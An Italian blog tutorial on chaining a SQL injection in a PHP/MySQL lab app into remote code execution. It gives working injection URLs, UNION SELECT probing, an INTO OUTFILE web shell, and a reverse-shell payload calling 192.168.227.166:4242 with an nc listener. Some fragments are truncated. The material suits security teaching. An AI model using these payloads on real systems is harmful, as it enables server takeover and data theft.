Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Davide Cavallini : 9 Novembre 2023 07:27
Autore: Davide Cavallini
Oggi parleremo di un’interessante tecnica per trasformare una Sql Injection in una Remote Command Execution.Questa tecnica può essere utilizzata anche per aprire una shell remota con il server che contiene la webapp vulnerabile.
Premetto che la tecnica funziona solo se l’utente del database ha il permesso di scrittura dei file, cosa che purtroppo spesso accade, perchè viene utilizzato l’account root. Un altro modo che può essere stato utilizzato per dare il permesso di scrivere i file all’utente è:
Sei un Esperto di Formazione?
Entra anche tu nel Partner program!
Accedi alla sezione riservata ai Creator sulla nostra Academy e scopri i vantaggi riservati ai membri del Partner program.
Per ulteriori informazioni, scrivici ad [email protected] oppure su Whatsapp al 379 163 8765
Supporta RHC attraverso:
GRANT FILE ON *.* TO utente@’localhost’;
Partiamo da una webapp che all’interno contiene un parametro id non filtrato, che va ad eseguire una query. Esempio:
query("SELECT * from users where user_id=".$_GET['id']);
$rows = $result->fetch_all(MYSQLI_ASSOC);
foreach ($rows as $row) {
printf("%s (%s)\n", $row["first_name"], $row["last_name"]);
}
In questo esempio, l’app legge l’utente con lo user_id che viene passato dal parametro id con il metodo HTTP GET. Questa operazione è chiaramente deleteria dal punto di vista della sicurezza del database, perchè può consentire all’hacker di accedere a tutta una serie disclosure di informazioni.
Un esempio tipico e alla portata di tutti potrebbe essere l’utilizzo di una IDOR per cambiare l’id e prendere le informazioni di tutti gli utenti con un ciclo.
ESEMPIO:
http://localhost/vulnerable.php?id=1
http://localhost/vulnerable.php?id=2
http://localhost/vulnerable.php?id=3
http://localhost/vulnerable.php?id=eccetera
Un altro esempio ancora più brutale potrebbe sfruttare un attacco del tipo SQL Injection per andare a modificare la struttura della query.
ESEMPIO:
//Se utilizzassi questo parametro
http://localhost/vulnerable.php?id=1 OR 1
La query verrebbe modificata strutturalmente diventando:
SELECT * from users where user_id=1 OR 1
Quindi andrei a pescare tutti gli utenti, in quanto potrei prendere o l’utente con user_id=1 oppure la condizione true. Questo fa si che chiaramenti il risultato di FALSE OR TRUE, o di TRUE OR TRUE, dia sempre come risultato TRUE, seguendo le logiche della matematica booleana.
Fino a qui gli esempi sono stati semplici, ma in realtà la Sql Injection nasconde delle potenzialità anche più pericolose. Ad esempio in caso di server misconfiguration, come dicevo precedentemente, potrebbe essere utilizzata per una remote command execution, ovvero una esecuzione remota di codice da parte di un malintenzionato.
Infatti non so se ci avete mai fatto caso, ma esiste un interessante funzione per exportare il dump della tabella su file CSV. Cercando in Google “Exporting Query Results from MySQL” vi verrà certamente fuori subito una pagina che vi dirà che è possibile esportare il dump in un file con una query simile a questa:
SELECT * FROM users INTO OUTFILE ‘/tmp/users.txt’;
Fino a qui sembrerebbe tutto nella norma, ma come ben saprà chi mastica il linguaggio SQL da tempo, potrei anche fare una select e mostrare un dato a mia scelta, come una stringa o un numero, eseguendo una query simile a questa:
SELECT ‘questa è la mia stringa’;
RISULTATO:
Fino a qui ancora sembra tutto innocuo.
Ma che cosa succederebbe se andassimo ad esportare un comando php in una cartella eseguibile da remoto, come /var/www/html?
ESEMPIO:
SELECT ‘
RISULTATO:
Chiaramente anche il fatto che la cartella /var/www/html sia scrivibile, deriva da una misconfiguration riguardante i permessi di scrittura nella cartella, ovvero di chmod.
Cosa che purtroppo però è spesso sottovalutata e consentita.
Ok, quindi a questo punto abbiamo capito che con questa query è possibile scrivere un file nella cartella /var/www/html
Vediamo come fare a scriverlo utilizzando la SQL Injection.
ANDIAMO A MODIFICARE L’URL COME SEGUE
http://localhost/vulnerable.php?id=1%20INTO%20OUTFILE%20%27/var/www/html/cmd2.php%27;
e vedremo che il file cmd2.php viene creato, e contiene la riga dell’utente 1
ora andiamo a scoprire quante colonne possiede questa tabella, con la tecnica dell’union select:
http://localhost/vulnerable.php?id=1 union select 1,2,3,4,5,6,7,8
chiaramente anche il risultato dell’UNION SELECT è esportabile in un file.
ORA AL POSTO DELLA COLONNA 2 INSERIAMO IL NOSTRO COMANDO “MALEVOLO”
http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20echo%20shell_exec(%22pwd%22);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd4.php%27;
Ora andiamo subito a vedere il frutto del nostro esperimento
Vedete che oltre a delle inutili scritte, dentro al file cmd4.php c’è effettivamente del codice php che esegue il comando pwd.
Vediamo il risultato nel browser:
Accipicchia, il codice PHP è stato eseguito, quindi la RCE è riuscita!!!
Ora andiamo a raffinare la tecnica e apriamo un terminale sul server remoto.
Prendiamo da GitHub un qualsiasi codice per aprire una reverse shell in php su server linux e sostituiamo l’ip e porta con i nostri dati
&3 2>&3”); ?>
Quindi l’url per iniettare il codice diventerà:
http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20$sock=fsockopen(%22192.168.227.166%22,4242);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd11.php%27;
Ora apriamo un terminale client e con netcap apriamoci la porta 4242 in ascolto:
nc -v -n -l -p 4242
Ok, a questo punto apriamo la pagina cmd5.php nel browser e vediamo che cosa accadrà:
come potete vedere l’utente è www-data, quindi abbiamo preso il controllo remoto del server. Ora potremmo procedere alla privilege escalation.
Davide Cavallini